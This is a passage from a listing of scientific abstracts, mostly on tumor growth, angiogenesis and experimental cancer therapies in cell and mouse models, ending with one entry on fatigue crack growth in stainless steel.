transcriptional regulators. Concurrent with the fall of IEGs, some 30-60 min after stimulation, a larger group, the delayed early genes, is up-regulated and its own fall overlaps the rise of the final wave of late response genes. This late wave persists and determines long-term phenotype acquisition, such as invasiveness. Key regulatory steps in the orderly response to growth factors provide a trove of potential oncogenes and tumor suppressors. PMID:24873881 2. Differential gene expression profiling of human epidermal growth factor receptor 2-overexpressing mammary tumor Institute of Scientific and Technical Information of China (English) Yan Wang; Haining Peng; Yingli Zhong; Daiqiang Li; Mi Tang; Xiaofeng Ding; Jian Zhang 2008-01-01 Human epidermal growth factor receptor 2 (HER2) is highly expressed in approximately 30% of breast cancer patients,and substantial evidence supports the relationship between HER2 overexpression and poor overall survival. However,the biological function of HER2 signaltransduction pathways is not entirely clear. To investigate gene activation within the pathways, we screened differentially expressed genes in HER2-positive mouse mammary tumor using two-directional suppression subtractive hybridization combined with reverse dot-blotting analysis. Forty genes and expressed sequence tags related to transduction, cell proliferation/growth/apoptosis and secreted/extracellular matrix proteins were differentially expressed in HER2-positive mammary tumor tissue. Among these, 19 were already reported to be differentially expressed in mammary tumor, 11 were first identified to be differentially expressed in mammary tumor in this study but were already reported in other tumors, and 10 correlated with other cancers. These genes can facilitate the understanding of the role of HER2 signaling in breast cancer. 3. Non-small-cell lung carcinoma tumor growth without morphological evidence of neo-angiogenesis. Science.gov (United States) Pezzella, F; Pastorino, U; Tagliabue, E; Andreola, S; Sozzi, G; Gasparini, G; Menard, S; Gatter, K C; Harris, A L; Fox, S; Buyse, M; Pilotti, S; Pierotti, M; Rilke, F 1997-11-01 Neoplastic growth is usually dependent on blood supply, and it is commonly accepted that this is provided by the formation of new vessels. However, tumors may be able to grow without neovascularization if they find a suitable vascular bed available. We have investigated the pattern of vascularization in a series of 500 primary stage I non-small-cell lung carcinomas. Immunostaining of endothelial cells has highlighted four distinct patterns of vascularization. Three patterns (which we called basal, papillary, and diffuse) have in common the destruction of normal lung and the production of newly formed vessels and stroma. The fourth pattern, which we called alveolar or putative nonangiogenic, was observed in 16% (80/500) of the cases and is characterized by lack of parenchymal destruction and absence of both tumor associated stroma and new vessels. The only vessels present were the ones in the alveolar septa, and their presence highlighted, through the whole tumor, the lung alveoli filled up by the neoplastic cells. This observation suggests that, if an appropriate vascular bed is available, a tumor can exploit it and grows without inducing neo-angiogenesis. This could have implications for strategies aimed at inhibiting tumor growth by vascular targeting or inhibition of angiogenesis. 4. Efficient anti-tumor effect of photodynamic treatment with polymeric nanoparticles composed of polyethylene glycol and polylactic acid block copolymer encapsulating hydrophobic porphyrin derivative. Science.gov (United States) Ogawara, Ken-ichi; Shiraishi, Taro; Araki, Tomoya; Watanabe, Taka-ichi; Ono, Tsutomu; Higaki, Kazutaka 2016-01-20 To develop potent and safer formulation of photosensitizer for cancer photodynamic therapy (PDT), we tried to formulate hydrophobic porphyrin derivative, photoprotoporphyrin IX dimethyl ester (PppIX-DME), into polymeric nanoparticles composed of polyethylene glycol and polylactic acid block copolymer (PN-Por). The mean particle size of PN-Por prepared was around 80nm and the zeta potential was determined to be weakly negative. In vitro phototoxicity study for PN-Por clearly indicated the significant phototoxicity of PN-Por for three types of tumor cells tested (Colon-26 carcinoma (C26), B16BL6 melanoma and Lewis lung cancer cells) in the PppIX-DME concentration-dependent fashion. Furthermore, it was suggested that the release of PppIX-DME from PN-Por would gradually occur to provide the sustained release of PppIX-DME. In vivo pharmacokinetics of PN-Por after intravenous administration was evaluated in C26 tumor-bearing mice, and PN-Por exhibited low affinity to the liver and spleen and was therefore retained in the blood circulation for a long time, leading to the efficient tumor disposition of PN-Por. Furthermore, significant and highly effective anti-tumor effect was confirmed in C26 tumor-bearing mice with the local light irradiation onto C26 tumor tissues after PN-Por injection. These findings indicate the potency of PN-Por for the development of more efficient PDT-based cancer treatments. 5. Luteolin inhibits the Nrf2 signaling pathway and tumor growth in vivo Energy Technology Data Exchange (ETDEWEB) Chian, Song; Thapa, Ruby; Chi, Zhexu [Department of Biochemistry and Genetics, School of Medicine, Zhejiang University, Hangzhou 310058 (China); Wang, Xiu Jun [Department of Pharmacology, School of Medicine, Zhejiang University, Hangzhou 310058 (China); Tang, Xiuwen, E-mail: xiuwentang@zju.edu.cn [Department of Biochemistry and Genetics, School of Medicine, Zhejiang University, Hangzhou 310058 (China) 2014-05-16 Highlights: • Luteolin inhibits the Nrf2 pathway in mouse liver and in xenografted tumors. • Luteolin markedly inhibits the growth of xenograft tumors. • Luteolin enhances the anti-cancer effect of cisplatin in mice in vivo. • Luteolin could serve as an adjuvant in the chemotherapy of NSCLC. - Abstract: Nuclear factor erythroid 2-related factor 2 (Nrf2) is over-expressed in many types of tumor, promotes tumor growth, and confers resistance to anticancer therapy. Hence, Nrf2 is regarded as a novel therapeutic target in cancer. Previously, we reported that luteolin is a strong inhibitor of Nrf2 in vitro. Here, we showed that luteolin reduced the constitutive expression of NAD(P)H quinone oxidoreductase 1 in mouse liver in a time- and dose-dependent manner. Further, luteolin inhibited the expression of antioxidant enzymes and glutathione transferases, decreasing the reduced glutathione in the liver of wild-type mice under both constitutive and butylated hydroxyanisole-induced conditions. In contrast, such distinct responses were not detected in Nrf2{sup −/−} mice. In addition, oral administration of luteolin, either alone or combined with intraperitoneal injection of the cytotoxic drug cisplatin, greatly inhibited the growth of xenograft tumors from non-small-cell lung cancer (NSCLC) cell line A549 cells grown subcutaneously in athymic nude mice. Cell proliferation, the expression of Nrf2, and antioxidant enzymes were all reduced in tumor xenograft tissues. Furthermore, luteolin enhanced the anti-cancer effect of cisplatin. Together, our findings demonstrated that luteolin inhibits the Nrf2 pathway in vivo and can serve as an adjuvant in the chemotherapy of NSCLC. 6. [Immunophysiological mechanism of origin and maintenance of tumor growth in humans]. Science.gov (United States) Lebedev, K A; Poniakina, I D 2010-01-01 A new concept of malignant tumor growth is presented. In consists in the fact that the tumor cells in the body occur in specific immune tolerance. As s result, they form around the center of regeneration, which consists of activated towards the regeneration cells of the immune system, which support the formation and growth of the tumor. In the early stages of differentiation, precancerous cells are not able to attract immune cells and form the focus of regeneration, so the majority of them die. At the outbreak of chronic inflammation, which contains a high percentage of regeneration of activated immune cells, the conditions exists for the formation of a focus of regeneration and, hence, growth and activation of precancerous cells and their transformation into high-grade malignant cells. This concept defines new approaches to treatment. For effective cancer therapy is necessary to neutralize the regenerator chamber in the tumor tissue. The effectiveness of the regeneration of damaged human tissues can be achieved through regenerator chamber similar to that created in the malignant tissue, and the introduction of a stem cell. PMID:20803946 7. The c-Met Inhibitor MSC2156119J Effectively Inhibits Tumor Growth in Liver Cancer Models Energy Technology Data Exchange (ETDEWEB) Bladt, Friedhelm, E-mail: Friedhelm.Bladt@merckgroup.com; Friese-Hamim, Manja; Ihling, Christian; Wilm, Claudia; Blaukat, Andree [EMD Serono, and Merck Serono Research and Development, Merck KGaA, Darmstadt 64293 (Germany) 2014-08-19 The mesenchymal-epithelial transition factor (c-Met) is a receptor tyrosine kinase with hepatocyte growth factor (HGF) as its only high-affinity ligand. Aberrant activation of c-Met is associated with many human malignancies, including hepatocellular carcinoma (HCC). We investigated the in vivo antitumor and antimetastatic efficacy of the c-Met inhibitor MSC2156119J (EMD 1214063) in patient-derived tumor explants. BALB/c nude mice were inoculated with MHCC97H cells or with tumor fragments of 10 patient-derived primary liver cancer explants selected according to c-Met/HGF expression levels. MSC2156119J (10, 30, and 100 mg/kg) and sorafenib (50 mg/kg) were administered orally as single-agent treatment or in combination, with vehicle as control. Tumor response, metastases formation, and alpha fetoprotein (AFP) levels were measured. MSC2156119J inhibited tumor growth and induced complete regression in mice bearing subcutaneous and orthotopic MHCC97H tumors. AFP levels were undetectable after 5 weeks of MSC2156119J treatment, and the number of metastatic lung foci was reduced. Primary liver explant models with strong c-Met/HGF activation showed increased responsiveness to MSC2156119J, with MSC2156119J showing similar or superior activity to sorafenib. Tumors characterized by low c-Met expression were less sensitive to MSC2156119J. MSC2156119J was better tolerated than sorafenib, and combination therapy did not improve efficacy. These findings indicate that selective c-Met/HGF inhibition with MSC2156119J is associated with marked regression of c-Met high-expressing tumors, supporting its clinical development as an antitumor treatment for HCC patients with active c-Met signaling. 8. Human Sulfatase 2 inhibits in vivo tumor growth of MDA-MB-231 human breast cancer xenografts International Nuclear Information System (INIS) Extracellular human sulfatases modulate growth factor signaling by alteration of the heparin/heparan sulfate proteoglycan (HSPG) 6-O-sulfation state. HSPGs bind to numerous growth factor ligands including fibroblast growth factors (FGF), epidermal growth factors (EGF), and vascular endothelial growth factors (VEGF), and are critically important in the context of cancer cell growth, invasion, and metastasis. We hypothesized that sulfatase activity in the tumor microenvironment would regulate tumor growth in vivo. We established a model of stable expression of sulfatases in the human breast cancer cell line MDA-MB-231 and purified recombinant human Sulfatase 2 (rhSulf2) for exogenous administration. In vitro studies were performed to measure effects on breast cancer cell invasion and proliferation, and groups were statistically compared using Student's t-test. The effects of hSulf2 on tumor progression were tested using in vivo xenografts with two methods. First, MDA-MB-231 cells stably expressing hSulf1, hSulf2, or both hSulf1/hSulf2 were grown as xenografts and the resulting tumor growth and vascularization was compared to controls. Secondly, wild type MDA-MB-231 xenografts were treated by short-term intratumoral injection with rhSulf2 or vehicle during tumor growth. Ultrasound analysis was also used to complement caliper measurement to monitor tumor growth. In vivo studies were statistically analyzed using Student's t test. In vitro, stable expression of hSulf2 or administration of rhSulf2 in breast cancer cells decreased cell proliferation and invasion, corresponding to an inhibition of ERK activation. Stable expression of the sulfatases in xenografts significantly suppressed tumor growth, with complete regression of tumors expressing both hSulf1 and hSulf2 and significantly smaller tumor volumes in groups expressing hSulf1 or hSulf2 compared to control xenografts. Despite significant suppression of tumor volume, sulfatases did not affect vascular 9. Cancer associated fibroblasts promote tumor growth and metastasis by modulating the tumor immune microenvironment in a 4T1 murine breast cancer model. Directory of Open Access Journals (Sweden) Debbie Liao Full Text Available BACKGROUND: Local inflammation associated with solid tumors commonly results from factors released by tumor cells and the tumor stroma, and promotes tumor progression. Cancer associated fibroblasts comprise a majority of the cells found in tumor stroma and are appealing targets for cancer therapy. Here, our aim was to determine the efficacy of targeting cancer associated fibroblasts for the treatment of metastatic breast cancer. METHODOLOGY/PRINCIPAL FINDINGS: We demonstrate that cancer associated fibroblasts are key modulators of immune polarization in the tumor microenvironment of a 4T1 murine model of metastatic breast cancer. Elimination of cancer associated fibroblasts in vivo by a DNA vaccine targeted to fibroblast activation protein results in a shift of the immune microenvironment from a Th2 to Th1 polarization. This shift is characterized by increased protein expression of IL-2 and IL-7, suppressed recruitment of tumor-associated macrophages, myeloid derived suppressor cells, T regulatory cells, and decreased tumor angiogenesis and lymphangiogenesis. Additionally, the vaccine improved anti-metastatic effects of doxorubicin chemotherapy and enhanced suppression of IL-6 and IL-4 protein expression while increasing recruitment of dendritic cells and CD8(+ T cells. Treatment with the combination therapy also reduced tumor-associated Vegf, Pdgfc, and GM-CSF mRNA and protein expression. CONCLUSIONS/SIGNIFICANCE: Our findings demonstrate that cancer associated fibroblasts promote tumor growth and metastasis through their role as key modulators of immune polarization in the tumor microenvironment and are valid targets for therapy of metastatic breast cancer. 10. Neuroblastoma-targeted nanocarriers improve drug delivery and penetration, delay tumor growth and abrogate metastatic diffusion. Science.gov (United States) Cossu, Irene; Bottoni, Gianluca; Loi, Monica; Emionite, Laura; Bartolini, Alice; Di Paolo, Daniela; Brignole, Chiara; Piaggio, Francesca; Perri, Patrizia; Sacchi, Angelina; Curnis, Flavio; Gagliani, Maria Cristina; Bruno, Silvia; Marini, Cecilia; Gori, Alessandro; Longhi, Renato; Murgia, Daniele; Sementa, Angela Rita; Cilli, Michele; Tacchetti, Carlo; Corti, Angelo; Sambuceti, Gianmario; Marchiò, Serena; Ponzoni, Mirco; Pastorino, Fabio 2015-11-01 Selective tumor targeting is expected to enhance drug delivery and to decrease toxicity, resulting in an improved therapeutic index. We have recently identified the HSYWLRS peptide sequence as a specific ligand for aggressive neuroblastoma, a childhood tumor mostly refractory to current therapies. Here we validated the specific binding of HSYWLRS to neuroblastoma cell suspensions obtained either from cell lines, animal models, or Schwannian-stroma poor, stage IV neuroblastoma patients. Binding of the biotinylated peptide and of HSYWLRS-functionalized fluorescent quantum dots or liposomal nanoparticles was dose-dependent and inhibited by an excess of free peptide. In animal models obtained by the orthotopic implant of either MYCN-amplified or MYCN single copy human neuroblastoma cell lines, treatment with HSYWLRS-targeted, doxorubicin-loaded Stealth Liposomes increased tumor vascular permeability and perfusion, enhancing tumor penetration of the drug. This formulation proved to exert a potent antitumor efficacy, as evaluated by bioluminescence imaging and micro-PET, leading to (i) delay of tumor growth paralleled by decreased tumor glucose consumption, and (ii) abrogation of metastatic spreading, accompanied by absence of systemic toxicity and significant increase in the animal life span. Our findings are functional to the design of targeted nanocarriers with potentiated therapeutic efficacy towards the clinical translation. 11. Electrical impedance scanning in breast tumor imaging: correlation with the growth pattern of lesion Institute of Scientific and Technical Information of China (English) WANG Kan; WANG Ting; FU Feng; JI Zhen-yu; LIU Rui-gang; LIAO Qi-mei; DONG Xiu-zhen 2009-01-01 Background This study researched the electric impedance properties of breast tissue and demonstrated the differentcharacteristic of electrical impedance scanning (EIS) images.Methods The impedance character of 40 malignant tumors, 34 benign tumors and some normal breast tissue from 69patients undergoing breast surgery was examined by EIS in vivo measurement and mammography screening, with aseries of frequencies set between 100 Hz-100 kHz in the ex vivo spectroscopy measurement.Results Of the 39 patients with 40 malignant tumors, 24 showed bright spots, 11 showed dark areas in EIS and 5showed no specific image. Of the 30 patients with 34 benign tumors there were almost no specific abnormality shown inthe EIS results. Primary ex vivo spectroscopy experiments showed that the resistivity of various breast tissue take thefollowing pattern: adipose tissue>cancerous tissue>mammary gland and benign tumor tissue.Conclusions There are significant differences in the electrical impedance properties between cancerous tissue andhealthy tissue. The impedivity of benign tumor is lower, and is at the same level with that of the mammary glandulartissue. The distinct growth pattern of breast lesions determined the different electrical impedance characteristics in theEIS results. 12. Visualization of brain tumor using I-123-vascular endothelial growth factor scintigraphy International Nuclear Information System (INIS) Full text: Aim:Vascular endothelial growth factor (VEGF) is a major angiogenic factor. VEGF receptors have been shown to be overexpressed in a variety of tumor vessels including glioblastoma, which may provide the molecular basis for a successful use of radiolabeled VEGF as tumor angiogenesis tracer. In this study we investigated the usefulness of 1231- VEGF as angiogenesis tracer for imaging brain tumors in vivo. Methods and Results: SPECT examinations were performed 30 minutes and 18 hours after intravenous application of 1231-VEGF (191 ± 15 MBq) in 20 patients with brain tumor. Glioblastomas were visualized in 7 of 8 patients (88 %) shortly after application of 1231- VEGF and were still clearly shown 18 hours post injection. Negative scan results were obtained in one patient with a small glioblastoma size (diameter <2.0 cm) and in 3 patients with benign glioma as well as in 5 patients with glioblastoma after receiving radiotherapy and for chemotherapy. Weak positive results were obtained in 3 patients with brain lymphoma or other tumors. No side effects were observed in patients after administration of 1231- VEG F. Conclusion: Our results indicate that 1231- VEGF scintigraphy may be useful to visualize the angiogenesis of brain tumors and to monitor the treatment response. 13. Role of vascular endothelial growth factor in reconstructive surgery after surgical excision of malignant tumor Institute of Scientific and Technical Information of China (English) 麻鹏; 刘春丽 2008-01-01 As a key mediator of normal physiological angiogenesis,vascular endothelial growth factor(VEGF)has been regarded as an emancipator to plastic surgeon,and yet a misfortune to oncology surgeon,due to its sin-gular biological effect.Therefore in some clinical cases,especially for some malignant tumor patients having en-dured radical surgery and being craving for a reconstructive surgery,VEGF plays a role full of paradoxes.To make a clinical balance,we should find a point to inhibit tumor cell from utilizing VEGF and make a permission to normal tissues to employ it. 14. An Adaptive Multigrid Algorithm for Simulating Solid Tumor Growth Using Mixture Models OpenAIRE Wise, S.M.; Lowengrub, J.S.; Cristini, V 2011-01-01 In this paper we give the details of the numerical solution of a three-dimensional multispecies diffuse interface model of tumor growth, which was derived in (Wise et al., J. Theor. Biol. 253 (2008)) and used to study the development of glioma in (Frieboes et al., NeuroImage 37 (2007) and tumor invasion in (Bearer et al., Cancer Research, 69 (2009)) and (Frieboes et al., J. Theor. Biol. 264 (2010)). The model has a thermodynamic basis, is related to recently developed mixture models, and is c... 15. Paeonol inhibits tumor growth in gastric cancer in vitro and in vivo Institute of Scientific and Technical Information of China (English) 2010-01-01 AIM:To investigate the anti-tumor effects of paeonol in gastric cancer cell proliferation and apoptosis in vitro and in vivo.METHODS:Murine gastric cancer cell line mouse forestomach carcinoma(MFC) or human gastric cancer cell line SGC-7901 was cultured in the presence or absence of paeonol.Cell proliferation was determined by 3-(4,5-dimethylthiazol-2-yl)-2,5-diphenyltetrazolium bromide assay,and cell cycle and apoptosis by flow cytometry and TUNEL staining.Tumor growth after subcutaneous implantation of MF... 16. Effect of cyhalothrin on Ehrlich tumor growth and macrophage activity in mice Directory of Open Access Journals (Sweden) W.M. Quinteiro-Filho 2009-10-01 Full Text Available Cyhalothrin, a pyrethroid insecticide, induces stress-like symptoms, increases c-fos immunoreactivity in the paraventricular nucleus of the hypothalamus, and decreases innate immune responses in laboratory animals. Macrophages are key elements in cellular immune responses and operate at the tumor-host interface. This study investigated the relationship among cyhalothrin effects on Ehrlich tumor growth, serum corticosterone levels and peritoneal macrophage activity in mice. Three experiments were done with 10 experimental (single gavage administration of 3.0 mg/kg cyhalothrin daily for 7 days and 10 control (single gavage administration of 1.0 mL/kg vehicle of cyhalothrin preparation daily for 7 days isogenic BALB/c mice in each experiment. Cyhalothrin i increased Ehrlich ascitic tumor growth after ip administration of 5.0 x 106 tumor cells, i.e., ascitic fluid volume (control = 1.97 ± 0.39 mL and experimental = 2.71 ± 0.92 mL; P < 0.05, concentration of tumor cells/mL in the ascitic fluid (control = 111.95 ± 16.73 x 106 and experimental = 144.60 ± 33.18 x 106; P < 0.05, and total number of tumor cells in the ascitic fluid (control = 226.91 ± 43.22 x 106 and experimental = 349.40 ± 106.38 x 106; P < 0.05; ii increased serum corticosterone levels (control = 200.0 ± 48.3 ng/mL and experimental = 420.0 ± 75.5 ng/mL; P < 0.05, and iii decreased the intensity of macrophage phagocytosis (control = 132.3 ± 19.7 and experimental = 116.2 ± 4.6; P < 0.05 and oxidative burst (control = 173.7 ± 40.8 and experimental= 99.58 ± 41.7; P < 0.05 in vitro in the presence of Staphylococcus aureus. These data provide evidence that cyhalothrin simultaneously alters host resistance to Ehrlich tumor growth, hypothalamic-pituitary-adrenocortical (HPA axis function, and peritoneal macrophage activity. The results are discussed in terms of data suggesting a link between stress, HPA axis activation and resistance to tumor growth. 17. Classical mathematical models for description and prediction of experimental tumor growth. Directory of Open Access Journals (Sweden) Sébastien Benzekry 2014-08-01 Full Text Available Despite internal complexity, tumor growth kinetics follow relatively simple laws that can be expressed as mathematical models. To explore this further, quantitative analysis of the most classical of these were performed. The models were assessed against data from two in vivo experimental systems: an ectopic syngeneic tumor (Lewis lung carcinoma and an orthotopically xenografted human breast carcinoma. The goals were threefold: 1 to determine a statistical model for description of the measurement error, 2 to establish the descriptive power of each model, using several goodness-of-fit metrics and a study of parametric identifiability, and 3 to assess the models' ability to forecast future tumor growth. The models included in the study comprised the exponential, exponential-linear, power law, Gompertz, logistic, generalized logistic, von Bertalanffy and a model with dynamic carrying capacity. For the breast data, the dynamics were best captured by the Gompertz and exponential-linear models. The latter also exhibited the highest predictive power, with excellent prediction scores (≥80% extending out as far as 12 days in the future. For the lung data, the Gompertz and power law models provided the most parsimonious and parametrically identifiable description. However, not one of the models was able to achieve a substantial prediction rate (≥70% beyond the next day data point. In this context, adjunction of a priori information on the parameter distribution led to considerable improvement. For instance, forecast success rates went from 14.9% to 62.7% when using the power law model to predict the full future tumor growth curves, using just three data points. These results not only have important implications for biological theories of tumor growth and the use of mathematical modeling in preclinical anti-cancer drug investigations, but also may assist in defining how mathematical models could serve as potential prognostic tools in the clinic. 18. Increased expression of CYP4Z1 promotes tumor angiogenesis and growth in human breast cancer Energy Technology Data Exchange (ETDEWEB) Yu, Wei [Department of Pharmacology, School of Medicine, Wuhan University, Wuhan 430071 (China); Chai, Hongyan [Center for Gene Diagnosis, Zhongnan Hospital, Wuhan University, Wuhan 430071 (China); Li, Ying; Zhao, Haixia; Xie, Xianfei; Zheng, Hao; Wang, Chenlong; Wang, Xue [Department of Pharmacology, School of Medicine, Wuhan University, Wuhan 430071 (China); Yang, Guifang [Department of Pathology, Zhongnan Hospital, Wuhan University, Wuhan 430071 (China); Cai, Xiaojun [Department of Ophthalmology, Zhongnan Hospital, Wuhan University, Wuhan 430071 (China); Falck, John R. [Department of Biochemistry, University of Texas Southwestern Medical Center, Dallas, TX 75390 (United States); Yang, Jing, E-mail: yangjingliu@yahoo.com.cn [Department of Pharmacology, School of Medicine, Wuhan University, Wuhan 430071 (China); Research Center of Food and Drug Evaluation, Wuhan University, Wuhan 430071 (China) 2012-10-01 Cytochrome P450 (CYP) 4Z1, a novel CYP4 family member, is over-expressed in human mammary carcinoma and associated with high-grade tumors and poor prognosis. However, the precise role of CYP4Z1 in tumor progression is unknown. Here, we demonstrate that CYP4Z1 overexpression promotes tumor angiogenesis and growth in breast cancer. Stable expression of CYP4Z1 in T47D and BT-474 human breast cancer cells significantly increased mRNA expression and production of vascular endothelial growth factor (VEGF)-A, and decreased mRNA levels and secretion of tissue inhibitor of metalloproteinase-2 (TIMP-2), without affecting cell proliferation and anchorage-independent cell growth in vitro. Notably, the conditioned medium from CYP4Z1-expressing cells enhanced proliferation, migration and tube formation of human umbilical vein endothelial cells, and promoted angiogenesis in the zebrafish embryo and chorioallantoic membrane of the chick embryo. In addition, there were lower levels of myristic acid and lauric acid, and higher contents of 20-hydroxyeicosatetraenoic acid (20-HETE) in CYP4Z1-expressing T47D cells compared with vector control. CYP4Z1 overexpression significantly increased tumor weight and microvessel density by 2.6-fold and 1.9-fold in human tumor xenograft models, respectively. Moreover, CYP4Z1 transfection increased the phosphorylation of ERK1/2 and PI3K/Akt, while PI3K or ERK inhibitors and siRNA silencing reversed CYP4Z1-mediated changes in VEGF-A and TIMP-2 expression. Conversely, HET0016, an inhibitor of the CYP4 family, potently inhibited the tumor-induced angiogenesis with associated changes in the intracellular levels of myristic acid, lauric acid and 20-HETE. Collectively, these data suggest that increased CYP4Z1 expression promotes tumor angiogenesis and growth in breast cancer partly via PI3K/Akt and ERK1/2 activation. -- Highlights: ► CYP4Z1 overexpression promotes human breast cancer growth and angiogenesis. ► The pro-angiogenic effects of CYP4Z1 have 19. Tumor Institute of Scientific and Technical Information of China (English) 2008-01-01 2008479 Preliminary study of MR elastography in brain tumors. XU Lei(徐磊), et al.Neurosci Imaging Center, Beijing Tiantan Hosp, Capital Med Univ, Beijing 100050.Chin J Radiol 2008;42(6):605-608. Objective To investigate the potential values of magnetic resonance elastography (MRE) for evaluating the brain tumor consistency in vivo. Methods Fourteen patients with known solid brain tumor (5 male, 9 female; age range: 16-63 years) 20. Digital holographic microscopy for imaging growth and treatment response in 3D tumor models Science.gov (United States) Li, Yuyu; Petrovic, Ljubica; Celli, Jonathan P.; Yelleswarapu, Chandra S. 2014-03-01 While three-dimensional tumor models have emerged as valuable tools in cancer research, the ability to longitudinally visualize the 3D tumor architecture restored by these systems is limited with microscopy techniques that provide only qualitative insight into sample depth, or which require terminal fixation for depth-resolved 3D imaging. Here we report the use of digital holographic microscopy (DHM) as a viable microscopy approach for quantitative, non-destructive longitudinal imaging of in vitro 3D tumor models. Following established methods we prepared 3D cultures of pancreatic cancer cells in overlay geometry on extracellular matrix beds and obtained digital holograms at multiple timepoints throughout the duration of growth. The holograms were digitally processed and the unwrapped phase images were obtained to quantify nodule thickness over time under normal growth, and in cultures subject to chemotherapy treatment. In this manner total nodule volumes are rapidly estimated and demonstrated here to show contrasting time dependent changes during growth and in response to treatment. This work suggests the utility of DHM to quantify changes in 3D structure over time and suggests the further development of this approach for time-lapse monitoring of 3D morphological changes during growth and in response to treatment that would otherwise be impractical to visualize. 1. Vascular Basement Membrane-derived Multifunctional Peptide, a Novel Inhibitor of Angiogenesis and Tumor Growth Institute of Scientific and Technical Information of China (English) Jian-Guo CAO; Shu-Ping PENG; Li SUN; Hui LI; Li WANG; Han-Wu DENG 2006-01-01 Vascular basement membrane-derived multifunctional peptide (VBMDMP) gene (fusion gene of the human immunoglobulin G3 upper hinge region and two tumstatin-derived fragments) obtained by chemical synthesis was cloned into vector pUC 19, and introduced into the expression vector pGEX-4T-1 to construct a prokaryotic expression vector pGEX-4T-1-VBMDMP. Recombinant VBMDMP produced in Escherichia coli has been shown to have significant activity of antitumor growth and antimetastasis in Lewis lung carcinoma transplanted into mouse C57B1/6. In the present study, we have studied the ability of rVBMDMP to inhibit endothelial cell tube formation and proliferation, to induce apoptosis in vitro, and to suppress tumor growth in vivo. The experimental results showed that rVBMDMP potently inhibited proliferation of human endothelial (HUVEC-12) cells and human colon cancer (SW480) cells in vitro, with no inhibition of proliferation in Chinese hamster ovary (CHO-K1) cells. rVBMDMP also significantly inhibited human endothelial cell tube formation and suppressed tumor growth of SW480 cells in a mouse xenograft model. These results suggest that rVBMDMP is a powerful therapeutic agent for suppressing angiogenesis and tumor growth. 2. Up-regulation of hepatoma-derived growth factor facilitates tumor progression in malignant melanoma [corrected]. Directory of Open Access Journals (Sweden) Han-En Tsai Full Text Available Cutaneous malignant melanoma is the fastest increasing malignancy in humans. Hepatoma-derived growth factor (HDGF is a novel growth factor identified from human hepatoma cell line. HDGF overexpression is correlated with poor prognosis in various types of cancer including melanoma. However, the underlying mechanism of HDGF overexpression in developing melanoma remains unclear. In this study, human melanoma cell lines (A375, A2058, MEL-RM and MM200 showed higher levels of HDGF gene expression, whereas human epidermal melanocytes (HEMn expressed less. Exogenous application of HDGF stimulated colony formation and invasion of human melanoma cells. Moreover, HDGF overexpression stimulated the degree of invasion and colony formation of B16-F10 melanoma cells whereas HDGF knockdown exerted opposite effects in vitro. To evaluate the effects of HDGF on tumour growth and metastasis in vivo, syngeneic mouse melanoma and metastatic melanoma models were performed by manipulating the gene expression of HDGF in melanoma cells. It was found that mice injected with HDGF-overexpressing melanoma cells had greater tumour growth and higher metastatic capability. In contrast, mice implanted with HDGF-depleted melanoma cells exhibited reduced tumor burden and lung metastasis. Histological analysis of excised tumors revealed higher degree of cell proliferation and neovascularization in HDGF-overexpressing melanoma. The present study provides evidence that HDGF promotes tumor progression of melanoma and targeting HDGF may constitute a novel strategy for the treatment of melanoma. Science.gov (United States) Duan, Xiaopin; Xiao, Jisheng; Yin, Qi; Zhang, Zhiwen; Yu, Haijun; Mao, Shirui; Li, Yaping 2014-03-01 Metastasis, the main cause of cancer related deaths, remains the greatest challenge in cancer treatment. Disulfiram (DSF), which has multi-targeted anti-tumor activity, was encapsulated into redox-sensitive shell crosslinked micelles to achieve intracellular targeted delivery and finally inhibit tumor growth and metastasis. The crosslinked micelles demonstrated good stability in circulation and specifically released DSF under a reductive environment that mimicked the intracellular conditions of tumor cells. As a result, the DSF-loaded redox-sensitive shell crosslinked micelles (DCMs) dramatically inhibited cell proliferation, induced cell apoptosis and suppressed cell invasion, as well as impairing tube formation of HMEC-1 cells. In addition, the DCMs could accumulate in tumor tissue and stay there for a long time, thereby causing significant inhibition of 4T1 tumor growth and marked prevention in lung metastasis of 4T1 tumors. These results suggested that DCMs could be a promising delivery system in inhibiting the growth and metastasis of breast cancer. 4. Composite Waves for a Cell Population System Modeling Tumor Growth and Invasion Institute of Scientific and Technical Information of China (English) Min TANG; Nicolas VAUCHELET; Ibrahim CHEDDADI; Irene VIGNON-CLEMENTEL; Dirk DRASDO; Beno(i)t PERTHAME 2013-01-01 In the recent biomechanical theory of cancer growth,solid tumors are considered as liquid-like materials comprising elastic components.In this fluid mechanical view,the expansion ability of a solid tumor into a host tissue is mainly driven by either the cell diffusion constant or the cell division rate,with the latter depending on the local cell density (contact inhibition) or/and on the mechanical stress in the tumor.For the two by two degenerate parabolic/elliptic reaction-diffusion system that results from this modeling,the authors prove that there are always traveling waves above a minimal speed,and analyse their shapes.They appear to be complex with composite shapes and discontinuities.Several small parameters allow for analytical solutions,and in particular,the incompressible cells limit is very singular and related to the Hele-Shaw equation.These singular traveling waves are recovered numerically. 5. Carnosine retards tumor growth in vivo in an NIH3T3-HER2/neu mouse model Directory of Open Access Journals (Sweden) Meixensberger Jürgen 2010-01-01 Full Text Available Abstract Background It was previously demonstrated that the dipeptide carnosine inhibits growth of cultured cells isolated from patients with malignant glioma. In the present work we investigated whether carnosine also affects tumor growth in vivo and may therefore be considered for human cancer therapy. Results A mouse model was used to investigate whether tumor growth in vivo can be inhibited by carnosine. Therefore, NIH3T3 fibroblasts, conditionally expressing the human epidermal growth factor receptor 2 (HER2/neu, were implanted into the dorsal skin of nude mice, and tumor growth in treated animals was compared to control mice. In two independent experiments nude mice that received tumor cells received a daily intra peritoneal injection of 500 μl of 1 M carnosine solution. Measurable tumors were detected 12 days after injection. Aggressive tumor growth in control animals, that received a daily intra peritoneal injection of NaCl solution started at day 16 whereas aggressive growth in mice treated with carnosine was delayed, starting around day 19. A significant effect of carnosine on tumor growth was observed up to day 24. Although carnosine was not able to completely prevent tumor growth, a microscopic examination of tumors revealed that those from carnosine treated animals had a significant lower number of mitosis (p Conclusion As a naturally occurring substance with a high potential to inhibit growth of malignant cells in vivo, carnosine should be considered as a potential anti-cancer drug. Further experiments should be performed in order to understand how carnosine acts at the molecular level. 6. Use of ultrasonic back-reflection intensity for predicting the onset of crack growth due to low-cycle fatigue in stainless steel under block loading. Science.gov (United States) Islam, Md Nurul; Arai, Yoshio; Araki, Wakako 2015-02-01 The present study proposes the use of ultrasonic back-reflected waves for evaluating low cycle fatigue crack growth from persistent slip bands (PSBs) of stainless steel under block loading. Fatigue under high-low block loading changes the back-reflected intensity of the ultrasonic wave that emanates from the surface. Measuring the change in ultrasonic intensity can predict the start of crack growth with reasonable accuracy. The present study also proposes a modified constant cumulative plastic strain method and 